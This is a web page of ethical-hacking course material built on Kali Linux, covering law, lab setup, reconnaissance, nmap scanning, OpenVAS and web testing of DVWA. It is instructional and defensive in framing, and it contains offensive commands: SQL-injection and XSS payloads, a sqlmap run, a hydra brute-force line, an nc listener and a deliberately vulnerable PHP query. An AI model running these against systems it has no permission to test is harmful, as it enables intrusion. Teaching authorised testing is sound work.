Kali Linux & Ethical Hacking - Professional Course | iotinfo.inSkip to content
Kali Linux & Ethical Hacking
Kali Linux 2026.3 Professional Course Material
Kali Linux and Ethical Hacking: Professional Course Material
A complete, self-paced curriculum with worked examples, hands-on labs and unit quizzes. Use the sidebar to jump between units, and check off each one as you finish it — your progress is saved on this device.
11 units
Self-paced
Hands-on labs
Unit quizzes
Start here
Course Information
This course teaches ethical hacking and security assessment with Kali Linux, from legal foundations and methodology through scanning, web testing, exploitation concepts, forensics and professional reporting. It is built on Kali Linux 2026.3 (released October 2026). Every technique is paired with its defensive counterpart, and every lab runs inside an isolated environment you own.
Course at a glance
Item
Detail
Title
Kali Linux and Ethical Hacking
Level
Intermediate (Linux basics assumed)
Duration
12 weeks, about 6 to 8 hours per week (about 80 hours)
Delivery
Reading, guided labs, quizzes, capstone penetration test
Platform
Kali Linux 2026.3 plus intentionally vulnerable targets
Outcome
Ability to plan, run and report a scoped penetration test; preparation for CompTIA PenTest+, CEH, eJPT and OSCP study
Test only systems you own or have written permission to test.
Labs run on host-only or internal networks, never on shared or public networks.
Do not use these skills against family, school, employer or neighbours without written authorisation.
Report weaknesses you find responsibly.
Lab architecture
VM
Role
Resources
kali
Attacker workstation
4 GB RAM, 2 vCPU, 60 GB disk
ubu-server
Hardened Ubuntu server you build and later attack
2 GB RAM, 1 vCPU, 20 GB
metasploitable2
Intentionally vulnerable Linux target
1 GB RAM
dvwa / juice-shop
Vulnerable web apps (Docker on ubu-server)
Containers
win-lab (optional)
Windows evaluation VM for AD concepts
4 GB RAM
Use a host-only network (for example 192.168.56.0/24) with no route to your home LAN. Snapshot every VM before each lab.
Weekly schedule
Week
Unit
Lab
1
1 Ethics, law, methodology
Rules-of-engagement document
2
2 Kali installation and tools
Build and snapshot the lab
3
3 Linux and network essentials
Packet capture analysis
4
4 Reconnaissance and OSINT
Passive recon report on a practice domain
5
5 Scanning and enumeration
Full enumeration of Metasploitable 2
6
6 Vulnerability assessment
OpenVAS scan and validation
7
7 Web testing I
DVWA walkthrough
8
7 Web testing II
Juice Shop challenges and fixes
9
8 Passwords and wireless
Hash cracking and Wi-Fi audit of your own AP
10
9 Exploitation and post-exploitation
Lab-only compromise and remediation
11
10 Forensics
Disk and memory analysis case
12
11 Reporting and capstone
Final report and practical
Assessment
Component
Weight
Unit quizzes
20%
Labs (evidence-based write-ups)
35%
Capstone penetration test and report
30%
Final timed practical (4 hours)
15%
Pass mark: 70% overall.
Unit 1
Ethics, law, methodology and lab architecture
Learning objectives: explain the legal and ethical limits of security testing; describe the phases of a penetration test; design a safe lab.
1.1What ethical hacking is
Ethical hacking (penetration testing) is the authorised, scoped, time-boxed simulation of an attack to find and fix weaknesses before real attackers do. The difference between a tester and a criminal is permission, scope and intent, not skill.
Term
Meaning
Vulnerability assessment
Find and rate weaknesses, usually automated, no exploitation
Penetration test
Exploit weaknesses to prove impact, within an agreed scope
Red team
Goal-based, stealthy adversary simulation against people, process and technology
Blue team
Defenders: monitoring, detection, response
Purple team
Red and blue working together to improve detection
Bug bounty
Public programme paying for valid reports within published rules
Testing types: black box (no information), grey box (some information, such as an account), white box (full information, source code and architecture).
1.2Law and professional conduct
Unauthorised access, interception, data theft and service disruption are criminal offences in almost every jurisdiction. In India the Information Technology Act, 2000 (including sections on unauthorised access and data theft) applies; other regimes include the US CFAA, the UK Computer Misuse Act, and the EU NIS2 and GDPR rules for data handling.
Written authorisation is mandatory. A verbal "yes" is not protection.
Know the difference between permission from a system owner and permission from a third-party host (cloud provider, ISP, SaaS). Cloud and hosting providers publish their own testing policies; follow them.
Handle personal data minimally; do not copy or keep data beyond what is needed as evidence, and store evidence encrypted.
Follow responsible disclosure when you find flaws outside an engagement.
Lockheed Martin's kill chain gives a defender-friendly view: reconnaissance, weaponisation, delivery, exploitation, installation, command and control, actions on objectives. Breaking any step stops the attack. ATT&CK is the finer-grained, more current model.
1.5Risk and the CIA triad
Confidentiality: only authorised parties read data. Integrity: data is not altered without detection. Availability: systems work when needed.
Risk = likelihood x impact. CVSS gives a base score (0.0 to 10.0): None, Low (0.1-3.9), Medium (4.0-6.9), High (7.0-8.9), Critical (9.0-10.0). Adjust with business context in your report.
1.6Designing a safe lab
Host computer (hypervisor)
+-------------------------------------------+
| Host-only network 192.168.56.0/24 (no internet route to LAN)
| |
| [kali .10] ---- [ubu-server .20] |
| \ / |
| [metasploitable2 .30] |
| Optional NAT adapter on kali only for updates (disable during attacks)
+-------------------------------------------+
Lab rules:
Separate network adapters: one host-only for attacks, one NAT only when updating, then disable it.
Snapshot before every lab; revert after.
Never bridge vulnerable VMs to your real network.
Keep notes and screenshots as evidence from day one.
Wireless labs use your own access point and a USB adapter passed through to the VM.
1.7Where to practise legally
Platform
Notes
TryHackMe
Guided rooms, beginner friendly
Hack The Box
Realistic machines, intermediate to advanced
PortSwigger Web Security Academy
Free, excellent web labs
OverTheWire
Command-line wargames
VulnHub
Downloadable vulnerable VMs
DVWA, OWASP Juice Shop, WebGoat
Self-hosted vulnerable web apps
Active bug-bounty programmes
Only inside published scope and rules
Hands-on Lab
Lab 1: paperwork and plan
Write a Rules of Engagement document for your own lab (scope IPs, allowed tools, hours, stop conditions, contacts).
Draw the lab network diagram with IP addresses.
Write a one-page checklist you will use before every test: authorisation, scope, backup/snapshot, evidence folder, communication plan.
Deliverable: RoE, network diagram and checklist saved in ~/engagements/lab1/.
Unit Quiz
Unit 1 quiz
What three things separate ethical testing from a crime?
Name the difference between a vulnerability assessment and a penetration test.
List the phases of a penetration test in order.
What is the purpose of a Rules of Engagement document?
Which CVSS range counts as Critical?
Why should vulnerable lab VMs never be bridged to a home network?
Unit 2
Installing and configuring Kali Linux, managing tools
Learning objectives: deploy Kali in the right form for your goal; configure, update and secure it; install and organise tools; keep reproducible notes.
2.1About Kali
Kali Linux is a Debian-based rolling distribution maintained by OffSec, built for security testing. The default repository is kali-rolling. Releases are published roughly every quarter (2026.1 in March, 2026.2 in June, 2026.3 in October). Recent releases brought an annual theme refresh, GNOME 50 and KDE Plasma updates, faster-booting VM images, a refreshed build-scripts system, and new tools each time.
Kali is not a general-purpose daily-driver OS and should never run production services. Many tools are noisy, need elevated privileges, or are dual-use.
2.2Ways to run Kali
Option
Best for
Notes
Pre-built VM (VMware, VirtualBox, Hyper-V, QEMU)
Learning and labs
Fastest; default login kali / kali, change at once
Installer ISO on bare metal
Dedicated testing laptop
Enable full-disk encryption
Live USB with persistence
Portable toolkit
No install; persistence partition keeps files
WSL2 with Win-KeX
Command-line tools on Windows
No raw wireless; limited hardware access
Docker kalilinux/kali-rolling
Quick, disposable tool environment
Add kali-linux-headless for tools
Cloud image
Jump box in a cloud lab
Lock it down with firewall and key-only SSH
Kali NetHunter
Android devices
Recent releases added KernelSU support
ARM images
Raspberry Pi and other boards
Used for drop-box style testing
Since 2026.2, VM images omit graphics firmware and the installer detects virtualisation to skip it, which improves VM boot time.
2.3Installing Kali in a VM (step by step)
Download the VM image (or installer ISO) from kali.org. Verify the checksum: sha256sum kali-linux-*.7z against the published SHA256SUMS.
Import the VM, give it 4 GB RAM, 2 vCPUs, and a host-only adapter plus a NAT adapter for updates.
First login with kali / kali. Change the password: passwd.
Update:
sudo apt update
sudo apt -y full-upgrade
[ -f /var/run/reboot-required ] && sudo reboot
grep VERSION /etc/os-release # e.g. VERSION="2026.3"
uname -r # confirm the kernel
Install guest tools if your hypervisor needs them (sudo apt install open-vm-tools-desktop for VMware, virtualbox-guest-x11 for VirtualBox).
Snapshot as "clean-baseline".
If apt update complains about signatures after a long time offline, refresh the archive keyring: sudo wget https://archive.kali.org/archive-keyring.gpg -O /usr/share/keyrings/kali-archive-keyring.gpg, then update again.
Repository line (normal Kali install):
deb http://http.kali.org/kali kali-rolling main contrib non-free non-free-firmware
2.4Installing from the ISO (bare metal)
Write the ISO to USB (Etcher, dd).
Choose Graphical install (or Live to try first).
Select language, location, keyboard; set hostname and a non-root user.
Partition: guided with encrypted LVM is recommended for laptops that hold client data.
Choose a tool selection: default tools, large, or minimal plus metapackages later.
apt show kali-tools-web # see what it pulls in
sudo apt install kali-tools-web
apt search kali-tools # list all bundles
Browse every package at kali.org/tools, which shows description, version and usage examples for each tool.
2.6Desktop, shell and daily usage
Desktops: Xfce is the default; GNOME and KDE Plasma are available (as images or sudo apt install kali-desktop-gnome / kali-desktop-kde).
Shell: Zsh with a two-line prompt by default; Bash knowledge applies. ~/.zshrc holds aliases and settings.
User model: Kali uses a normal user (since 2020) with sudo; avoid logging in as root.
Services are off by default. Start what you need, for example PostgreSQL for Metasploit: sudo systemctl start postgresql.
kali-undercover: switches the desktop to look like a plain Windows-style desktop; 2026.1 added a BackTrack-style mode.
Network manager:nmcli, or the Xfce applet. Set VPN profiles for lab platforms such as TryHackMe or Hack The Box.
2.7Essential configuration after install
# hostname and timezone
sudo hostnamectl set-hostname kali-lab
sudo timedatectl set-timezone Asia/Kolkata
# fast terminal multiplexer and notes tools
sudo apt install -y tmux terminator cherrytree flameshot seclists
# engagement folder structure
mkdir -p ~/engagements/{recon,scans,web,exploit,loot,notes,evidence,report}
# logging every terminal session (evidence)
script -a ~/engagements/notes/session-$(date +%F).log
Useful habits: name every scan output with date and target, keep screenshots in evidence/, and never store credentials in plain text outside an encrypted note.
2.8Updating and keeping Kali healthy
Update regularly: sudo apt update && sudo apt -y full-upgrade. Do not run partial upgrades on a rolling system.
Check held or broken packages: sudo apt --fix-broken install, dpkg --audit.
Do not mix in repositories from other distributions; it breaks the rolling set.
Use the weekly image if you want fewer packages to update after a fresh install.
Take a VM snapshot before big updates.
2.9Installing tools that are not in Kali
Source
Command and caution
Kali repository
sudo apt install tool (preferred, signed)
Python tools
pipx install tool (isolated environments); avoid pip into the system Python
Go tools
go install github.com/org/tool@latest
Git projects
git clone, read the code and README first, run in a VM or container
Docker
docker run --rm -it image for tools with difficult dependencies
Treat every third-party script as untrusted code: review it, run it in an isolated VM, and prefer well-known projects.
2.10Security of your own Kali system
Change default passwords; use SSH keys if you enable SSH (sudo systemctl enable --now ssh).
Encrypt the disk on laptops; wipe or encrypt evidence after engagements.
Do not expose Kali services to untrusted networks. Keep a host firewall (sudo apt install ufw).
Keep client data separated per engagement (separate VM or encrypted folder).
Hands-on Lab
Lab 2: build the attack workstation
Import Kali, change the password, update it fully and snapshot.
Install kali-tools-top10 and kali-tools-web; list what each pulled in with apt show.
Create the engagement folder structure and start a session log with script.
Add a host-only network and confirm connectivity with ip a and ping to your lab server.
Document the exact versions of Kali, kernel, nmap, and Metasploit (msfconsole -v).
Deliverable: a build sheet (versions, IPs, installed bundles) and a clean snapshot.
Unit Quiz
Unit 2 quiz
Why is Kali a rolling release and what does that mean for updating?
What is the difference between kali-linux-default and kali-linux-headless?
Why should you avoid pip install into the system Python on Kali?
List three steps that protect client data stored on your Kali system.
Which command confirms the installed Kali version?
Unit 3
Linux and networking essentials for security testers
Learning objectives: use the command line and permissions model as a tester; understand the networking and protocol knowledge every assessment depends on; capture and read traffic.
3.1Linux skills you must have
This course assumes you can navigate the filesystem, edit files, use pipes and grep/awk/sed. If not, complete Units 1 to 2 of the companion Ubuntu course first. Security-specific reminders:
Skill
Why it matters
File permissions, setuid/setgid, sticky bit
Misconfigured permissions are a main privilege-escalation route
Users, groups, sudo -l
Understand who can do what
Processes and services (ps, ss -tulpn, systemctl)
Identify attack surface on a host
Cron and systemd timers
Scheduled jobs run with the owner's privileges
Logs (journalctl, /var/log/auth.log)
See what your test looks like to defenders
Bash scripting and Python
Automate repetitive recon and parsing
tmux
Persistent, split terminals for long scans
3.2The networking models
OSI layer
TCP/IP layer
Examples
Typical weakness
7 Application
Application
HTTP, DNS, SMTP, SMB, SSH
Logic flaws, injection, weak auth
6 Presentation / 5 Session
Application
TLS, sessions
Weak ciphers, session fixation
4 Transport
Transport
TCP, UDP
Open ports, SYN floods
3 Network
Internet
IP, ICMP, routing
Spoofing, misrouting
2 Data link
Link
Ethernet, ARP, Wi-Fi
ARP spoofing, rogue access points
1 Physical
Link
Cables, radio
Tapping, jamming
3.3IP addressing and subnets
IPv4 is 32 bits (192.168.56.10); IPv6 is 128 bits (fe80::1).
Quick calculation: usable hosts = 2^(32 - prefix) - 2. Use ipcalc 192.168.56.0/24 to check.
3.4Key protocols and ports
Port
Service
Notes for testers
21
FTP
Cleartext; anonymous login check
22
SSH
Version, key types, password auth
23
Telnet
Cleartext, should be disabled
25 / 465 / 587
SMTP
Open relay, user enumeration
53
DNS
Zone transfers, cache issues
80 / 443
HTTP / HTTPS
Web apps, TLS config
110 / 143 / 993 / 995
POP3 / IMAP
Cleartext variants
135, 139, 445
RPC / NetBIOS / SMB
Shares, signing, legacy versions
161 (UDP)
SNMP
Default community strings
389 / 636
LDAP / LDAPS
Directory data
1433 / 3306 / 5432 / 1521
MSSQL / MySQL / PostgreSQL / Oracle
Exposed databases
3389
RDP
Remote desktop exposure
5900
VNC
Weak or no passwords
3.5TCP in detail
Three-way handshake: SYN, SYN/ACK, ACK. Teardown uses FIN (or RST for abrupt close).
Port states seen by scanners: open (SYN/ACK), closed (RST), filtered (no response or ICMP unreachable from a firewall).
UDP is connectionless; scanning relies on ICMP "port unreachable" replies and is slower.
3.6Core services every tester must understand
DNS: record types A, AAAA, MX, NS, TXT, CNAME, PTR, SOA; recursive vs authoritative; zone transfer (AXFR) misconfiguration.
DHCP: automatic addressing; rogue DHCP risk.
ARP: maps IP to MAC on the local network; no authentication, which enables spoofing on unprotected networks.
HTTP: methods (GET, POST, PUT, DELETE), status codes (2xx success, 3xx redirect, 4xx client error, 5xx server error), headers (Cookie, Authorization, Content-Security-Policy), cookies and sessions.
TLS: certificates, chain of trust, protocol versions (prefer 1.2 and 1.3), cipher suites, HSTS.
3.7Network commands you will use daily
ip -br a # interfaces and addresses (brief)
ip route # routing table
ss -tulpn # listening sockets and owning process
resolvectl status ; dig example.com A +short
curl -I https://example.com # headers only
curl -v http://host/ # verbose request/response
nc -zv host 1-1024 # simple port probe (netcat)
nc -lvnp 4444 # listener for lab connection tests
traceroute host ; mtr -rw host
arp -a ; ip neigh
3.8Packet capture and analysis
tcpdump examples:
sudo tcpdump -i eth0 -nn -c 100 # first 100 packets, no name resolution
sudo tcpdump -i eth0 -w lab.pcap host 192.168.56.20 and port 80
sudo tcpdump -r lab.pcap -nn 'tcp[tcpflags] & tcp-syn != 0'
Wireshark: capture filter (before capture) vs display filter (after). Useful display filters: ip.addr == 192.168.56.20, tcp.port == 22, http.request, dns, tcp.flags.syn == 1 && tcp.flags.ack == 0, tls.handshake.type == 1. Use Follow TCP Stream to read a conversation, Statistics > Conversations for a quick overview.
tshark gives the same power on the command line: tshark -r lab.pcap -Y http.request -T fields -e http.host -e http.request.uri.
3.9Network defence concepts to keep in mind
Control
What it does
Firewall / ACL
Limits which hosts and ports can talk
Segmentation / VLANs
Contains compromise to one zone
IDS / IPS (Suricata, Snort, Zeek)
Detect or block suspicious traffic
WAF
Filters malicious web requests
Encryption in transit (TLS, SSH, VPN)
Protects confidentiality and integrity
802.1X, port security, DHCP snooping, dynamic ARP inspection
Protect the local network
Hands-on Lab
Lab 3: see the network
Capture a TCP handshake to the lab web server and annotate the three packets in Wireshark.
Browse to an HTTP page and an HTTPS page; compare what Wireshark can read in each.
Run a DNS query with dig and identify the query and response packets, record types, and TTL.
Use nc to connect to a service banner (for example SSH or HTTP) on your lab server.
Calculate subnet details for 192.168.56.0/26 by hand, then confirm with ipcalc.
Deliverable: annotated screenshots and a one-page explanation of each captured exchange.
Unit Quiz
Unit 3 quiz
How many usable hosts are in a /27?
Describe the TCP three-way handshake and what a scanner sees for an open and a closed port.
What is the difference between a Wireshark capture filter and a display filter?
Why are Telnet, FTP and HTTP considered risky on untrusted networks?
Which DNS misconfiguration lets anyone download an entire zone?
Unit 4
Reconnaissance and OSINT
Learning objectives: gather information about a target using public sources without touching it, and with light active techniques inside the agreed scope; organise findings into a target profile.
Reconnaissance often decides the whole engagement: the more accurate your map of assets, technologies and people, the less noise you make later. Only target the organisation named in your scope. For practice use your own domain, a lab domain, or deliberately open practice targets such as scanme.nmap.org (follow its usage policy).
4.1What to collect
Category
Examples
Why it matters
Domains and subdomains
example.com, dev.example.com, vpn.example.com
Hidden or forgotten assets
IP ranges and ASN
Netblocks owned by the org
Defines scan scope
DNS records
A, MX, NS, TXT (SPF, DKIM, DMARC)
Mail security, third-party services
Technologies
Web server, framework, CMS, WAF, CDN
Known weaknesses per version
People and roles
Names, emails, social profiles
Social-engineering exposure and credential targets
Leaked data
Breaches, public repositories, paste sites
Credentials and secrets exposure
Cloud assets
Buckets, apps, subscriptions
Misconfigured storage
Physical and wireless
Office locations, SSIDs
On-site scope
4.2Passive reconnaissance (no packets to the target)
DNS and registration
whois example.com
whois 203.0.113.0 # owner of an IP block
dig example.com ANY +noall +answer # many servers limit ANY; query each type
dig example.com MX +short ; dig example.com TXT +short
dig -x 203.0.113.10 # reverse lookup
host -t ns example.com
Subdomains and hosts from public data
theHarvester -d example.com -b crtsh,duckduckgo,bing -l 200
amass enum -passive -d example.com -o out/amass.txt
subfinder -d example.com -silent
# certificate transparency logs: search crt.sh for %.example.com in a browser
Search-engine operators (Google dorks)
Operator
Use
site:example.com
Restrict to the domain
filetype:pdf site:example.com
Documents (check metadata)
inurl:admin site:example.com
Admin pages
intitle:"index of" site:example.com
Open directory listings
"password" ext:env site:github.com org
Secrets accidentally published
Use the Google Hacking Database as a reference. Treat anything you find as sensitive; report it, do not misuse it.
Internet-wide search engines: Shodan (org:"Example" port:3389), Censys, FOFA, ZoomEye, GreyNoise. They show exposed services collected by others, so no traffic touches the target from you.
Archives and code: Wayback Machine (old pages, forgotten endpoints), GitHub/GitLab search (org:example password), trufflehog and gitleaks for secrets in repositories you are authorised to scan.
Metadata:exiftool document.pdf can reveal author names, software versions and internal paths. metagoofil automates document collection.
People and email: LinkedIn for roles and technologies, email-pattern discovery (first.last@example.com), breach-notification services to check whether staff addresses appear in public breaches.
dnsrecon -d example.com -t std,brt -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
dnsenum --enum example.com
dig axfr example.com @ns1.example.com # test zone transfer (should be refused)
whatweb -a 3 https://example.com
wafw00f https://example.com # detect a web application firewall
sslscan example.com ; testssl.sh example.com # TLS posture
curl -sI https://example.com # headers: Server, X-Powered-By, cookies
Brute-forcing subdomains and directories is active and visible in logs; confirm it is in scope and rate-limit it.
4.4Social-engineering awareness (defence view)
Testers sometimes assess phishing and pretexting, but only with explicit written scope, HR and legal approval, and clear rules. For learners, concentrate on defence: email authentication (SPF, DKIM, DMARC), awareness training, reporting channels, MFA and phishing-resistant authentication (FIDO2/passkeys).
4.5Building the target profile
Save outputs under ~/engagements/<client>/recon/ and consolidate in a table:
Asset
Type
Source
Technology
Notes / next step
www.example.com
Web
DNS, crt.sh
nginx 1.26, WordPress
Enumerate plugins
vpn.example.com
VPN gateway
Subfinder
Vendor X 9.1
Check version advisories
203.0.113.0/28
Netblock
whois
n/a
In-scope scan range
jane.doe@example.com
Email
theHarvester
n/a
Password-policy review
Tag each fact with its source and the time collected; this becomes evidence in your report.
4.6Common defensive findings from recon
Subdomains pointing to decommissioned services (takeover risk).
Over-sharing in DNS TXT records and public documents.
Secrets in public repositories.
Missing SPF/DKIM/DMARC.
Technology banners revealing exact versions.
Hands-on Lab
Lab 4: recon report on a practice target
Choose your own domain (or a lab domain) and pass: write a passive-recon summary using whois, dig, theHarvester, amass -passive, crt.sh, and the Wayback Machine.
Add active checks on your own web server: whatweb, sslscan, headers via curl -I.
Build the asset table above and mark which assets look most exposed and why.
Recommend five defensive changes.
Deliverable: a 2 to 3 page recon report with sources and screenshots.
Unit Quiz
Unit 4 quiz
Difference between passive and active reconnaissance?
Why are certificate-transparency logs useful for subdomain discovery?
What does a successful DNS zone transfer from a public name server indicate?
Name two ways document metadata can help an attacker.
Which email records help prevent spoofing of your domain?
Unit 5
Scanning and enumeration
Learning objectives: discover live hosts and open ports; identify services and versions; enumerate common protocols; record and interpret results; understand how defenders see your scans.
Run these only against your lab network (for example 192.168.56.0/24) or targets you are authorised to test. Scans are visible in logs and can disturb fragile systems, so agree rates and hours in the RoE.
5.1Host discovery
sudo nmap -sn 192.168.56.0/24 # ping sweep (ARP on the local LAN)
sudo nmap -sn -PS22,80,443 -PA80 10.0.0.0/24 # TCP SYN/ACK probes when ICMP is blocked
sudo arp-scan -l # fast local discovery
sudo netdiscover -r 192.168.56.0/24 -p # passive ARP watch
Save hosts to a file (-oG then grep Up) to feed later scans.
5.2Nmap in depth
Nmap is the core scanner. Phases: host discovery, port scan, service/version detection, OS detection, scripting engine.
Goal
Command
Default top 1000 TCP ports
nmap 192.168.56.30
All TCP ports + versions + default scripts + OS, saved in all formats
Default as root; sends SYN, reads reply, RST before completing
-sT
TCP connect
Completes handshake; works without root; noisier
-sU
UDP
Slow; relies on ICMP unreachable
-sA
ACK
Maps firewall rules (filtered vs unfiltered)
-sN/-sF/-sX
NULL/FIN/Xmas
Evasion tests; unreliable on modern stacks
-sV
Version detection
Banner and probe matching
-O
OS detection
TCP/IP fingerprinting
Timing and noise:-T0 to -T5 (T3 default, T4 common in labs; use T1 or T2 for sensitive networks). Control with --max-rate, --scan-delay, --max-retries.
Output formats:-oN normal, -oX XML, -oG grepable, -oA basename all three. Convert XML to HTML with xsltproc scans/ms2.xml -o ms2.html.
Defender actions: expose only required ports, firewall default-deny, rate-limit and alert on scans, patch, remove default banners where practical, and monitor.
Hands-on Lab
Lab 5: enumerate Metasploitable 2
Discover the target with nmap -sn and save the host list.
Run a two-stage scan (fast all-ports, then -sV -sC -O on the open ports), saving with -oA.
Enumerate at least five services (FTP, SSH, HTTP, SMB, and one of MySQL/PostgreSQL/NFS) with the tools above.
Produce a table of ports, versions, and the CVEs or weaknesses each suggests (use the vendor advisories, NVD and searchsploit to look up, not to run anything yet).
Capture your scan with tcpdump and show the SYN/RST pattern for open and closed ports.
Deliverable:notes.md containing the table, plus the raw scan files.
Unit Quiz
Unit 5 quiz
Why does a SYN scan need root and what is its advantage over a connect scan?
What does a filtered port tell you?
Name three NSE script categories you should avoid unless explicitly authorised.
Which tools enumerate SMB shares anonymously?
Give two signs in logs that a port scan took place.
Unit 6
Vulnerability assessment
Learning objectives: distinguish scanning from exploitation; run authenticated and unauthenticated scans; validate and prioritise findings with CVSS, CVE and exploitability context; avoid false positives.
6.1Concepts
A vulnerability is a weakness that could be exploited; a threat is who or what may exploit it; risk is likelihood times impact.
CVE (Common Vulnerabilities and Exposures) gives each public flaw an ID such as CVE-2024-12345; CWE classifies the weakness type; CVSS scores severity (0.0 to 10.0); the NVD and vendor advisories provide detail; KEV (CISA Known Exploited Vulnerabilities) lists flaws exploited in the wild; EPSS estimates exploitation probability.
Authenticated (credentialed) scans log in and give accurate patch-level data. Unauthenticated scans show the external attacker's view.
Scanner output is a lead, not a finding. Every important result needs manual validation.
6.2Process
Confirm scope, scan window, and tolerance (production systems may need low-impact profiles).
Validate: eliminate false positives, confirm versions and reachability.
Prioritise by exploitability, exposure, and business impact, not only CVSS.
Report with remediation and verify after patching (rescan).
6.3OpenVAS / Greenbone (GVM) on Kali
sudo apt install -y gvm
sudo gvm-setup # downloads feeds; takes a long time; note the admin password it prints
sudo gvm-check-setup # verifies the install
sudo gvm-start # starts services; web UI at https://127.0.0.1:9392
sudo runuser -u _gvm -- gvmd --user=admin --new-password='ChangeMe!' # reset the admin password
sudo gvm-feed-update # refresh vulnerability feeds regularly
In the web interface: Configuration > Targets (add IPs, port list, credentials), Scans > Tasks (choose "Full and fast"), then read Results with severity, QoD (quality of detection), and solution type. Export the report as PDF or XML.
6.4Other scanners and checkers
Tool
Use
Nessus Essentials (Tenable)
Free for small labs, large plugin set, credentialed scans
Nikto
Web server misconfigurations and known files (nikto -h http://host -o nikto.txt)
Nuclei
Fast template-based checks (nuclei -u https://host -severity medium,high,critical)
Nmap vuln scripts
Quick known-issue checks (verify manually)
Lynis
Local configuration audit of Linux (sudo lynis audit system)
OpenSCAP / Ubuntu Security Guide
Compliance against CIS/STIG profiles
testssl.sh, sslscan
TLS weaknesses
trivy, grype
Container image and filesystem vulnerabilities
wpscan, joomscan, droopescan
CMS plugin and version issues
Searchsploit
Offline Exploit-DB search for public exploits matching versions
For Nmap-driven analysis: searchsploit --nmap scans/ms2.xml.
6.5Validating a finding (worked example)
Scanner says: "vsftpd 2.3.4 backdoor" on 192.168.56.30:21, severity Critical.
Confirm the service and version: nmap -sV -p21 192.168.56.30, nc 192.168.56.30 21.
Read the advisory (NVD entry, vendor note) to learn exactly what is vulnerable and how it is triggered.
Check whether the package is the distribution's patched build or the vulnerable upstream tarball.
In your lab, test safely with the matching Metasploit check module or with a controlled manual test, only against your own VM.
Record evidence (command, output, screenshot) and note impact.
Mark the result as confirmed, likely, false positive, or unable to verify.
Difference between a vulnerability, a threat and a risk?
Why do credentialed scans produce more accurate results?
What do CVE, CWE, CVSS and KEV each represent?
Give two reasons a Critical scanner result may be a false positive.
Why can a Medium CVSS finding outrank a High one in priority?
Unit 7
Web application security testing
Learning objectives: understand how web applications work and fail; test for the OWASP Top 10 classes using a proxy and targeted tools; explain the root cause and the fix for each issue.
Use only your own deliberately vulnerable apps (DVWA, OWASP Juice Shop, WebGoat, PortSwigger Academy labs) or applications you are authorised to test. Run them on your lab network.
State: cookies and sessions (Set-Cookie, HttpOnly, Secure, SameSite), tokens (JWT, bearer), local storage.
Same-origin policy, CORS, CSP: browser rules that limit cross-site access.
Architecture: browser, CDN/WAF, reverse proxy, application server, database, third-party APIs. Each layer can be attacked or can hide issues.
APIs: REST/JSON, GraphQL, SOAP; authentication via tokens; common weaknesses are broken object-level authorisation, excessive data exposure, missing rate limits.
7.2Lab targets setup
# on the Ubuntu server VM (Docker installed)
docker run -d --name dvwa -p 8081:80 vulnerables/web-dvwa
docker run -d --name juice -p 3000:3000 bkimminich/juice-shop
# then browse to http://<server-ip>:8081 (DVWA) and :3000 (Juice Shop)
DVWA has difficulty levels (low, medium, high, impossible); compare the vulnerable and the secure code to learn the fix.
7.3Burp Suite and the proxy workflow
Start Burp Suite Community (burpsuite) and set the proxy listener to 127.0.0.1:8080.
Configure Firefox to use that proxy (FoxyProxy), install Burp's CA certificate for HTTPS.
Browse the application so Burp builds the Site map.
Proxy > HTTP history: inspect requests. Repeater: modify and resend a single request. Intruder: automated variations (rate-limited in Community). Decoder: encodings. Comparer: diffs.
Use scope settings so you never send traffic outside the target.
Alternative: OWASP ZAP (zaproxy) includes an automatic scanner and spider; useful in CI pipelines.
7.4OWASP Top 10 and how to test each class
Class
What it is
How to test (lab)
Core fix
Broken access control
Users reach data or actions they should not (IDOR, forced browsing, privilege escalation)
Change IDs in URLs/bodies (/api/orders/1001 to /1002), access admin paths as a normal user, tamper roles
Enforce authorisation server-side on every request; deny by default
Cryptographic failures
Weak or missing encryption, bad hashing, secrets in client
Check HTTPS everywhere, TLS config, cookie flags, hash types in leaked data
TLS 1.2+/HSTS, strong hashes (Argon2id/bcrypt), no secrets in code
Injection (SQL, command, LDAP, NoSQL, template)
Untrusted data changes a query or command
Input probes such as a single quote, boolean logic, time delays; confirm with sqlmap against DVWA only
Parameterised queries, allow-lists, least-privilege DB accounts
Insecure design
Missing security thinking in the feature itself
Review business logic: password reset, coupons, rate limits
Threat modelling, abuse-case tests
Security misconfiguration
Defaults, verbose errors, open admin panels, directory listing
nikto, nuclei, check headers, default credentials in the lab
Hardening baselines, remove defaults, minimal features
Vulnerable and outdated components
Known-vulnerable libraries and plugins
Fingerprint versions (whatweb, wpscan, Retire.js), match to CVEs
Dependency scanning (SCA), patch management
Identification and authentication failures
Weak passwords, no lockout, session fixation
Test lockout and rate limits, session handling, MFA bypass paths
Check the current OWASP Top 10 list for the exact wording of the newest edition, and use the OWASP Web Security Testing Guide as the checklist.
7.5Injection in depth (with a safe lab pattern)
SQL injection happens when user input is concatenated into a query.
// vulnerable (do not write code like this)
$q = "SELECT * FROM users WHERE id = '" . $_GET['id'] . "'";
// safe: parameterised query
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = ?');
$stmt->execute([$_GET['id']]);
Testing flow in DVWA (low): send a single quote and watch for a database error; use boolean differences (1' AND '1'='1 vs 1' AND '1'='2) to confirm; then, only in the lab, let sqlmap automate: sqlmap -u "http://192.168.56.20:8081/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=...; security=low" --batch --dbs. Always set a low --level/--risk and a delay on anything shared.
Command injection: input reaches a shell (ping features). Fix with fixed argument arrays and no shell, plus allow-listing input.
NoSQL/LDAP/Template injection: similar principle; tools such as SSTImap identify template-engine issues in your lab.
7.6Cross-site scripting (XSS) and related client-side issues
Reflected: payload in a request is echoed back. Stored: payload saved and shown to others. DOM-based: client-side script writes untrusted data into the page.
Safe lab probe: a harmless marker such as <b>test</b> or <script>alert(document.domain)</script> on DVWA only, to prove script execution.
Fixes: contextual output encoding, a strict Content-Security-Policy, HttpOnly cookies, input validation as a second layer, modern frameworks that escape by default.
CSRF: forged cross-site requests; fix with anti-CSRF tokens and SameSite cookies.
Clickjacking: fix with frame-ancestors in CSP.
7.7Authentication and session testing
Test
What to check
Credential policy
Minimum length, breached-password checks, lockout and throttling
Login errors
Same message for bad user and bad password (no user enumeration)
Password reset
Token length, expiry, single use, no host-header poisoning
Session IDs
Random, rotated on login, invalidated on logout, Secure/HttpOnly/SameSite
JWT
Signature enforced, alg not none, short expiry, no sensitive data in payload
MFA
Cannot be skipped by direct request to the next step
hydra can test login throttling in the lab (hydra -l admin -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt 192.168.56.20 http-post-form "..."). Never run it against real systems.
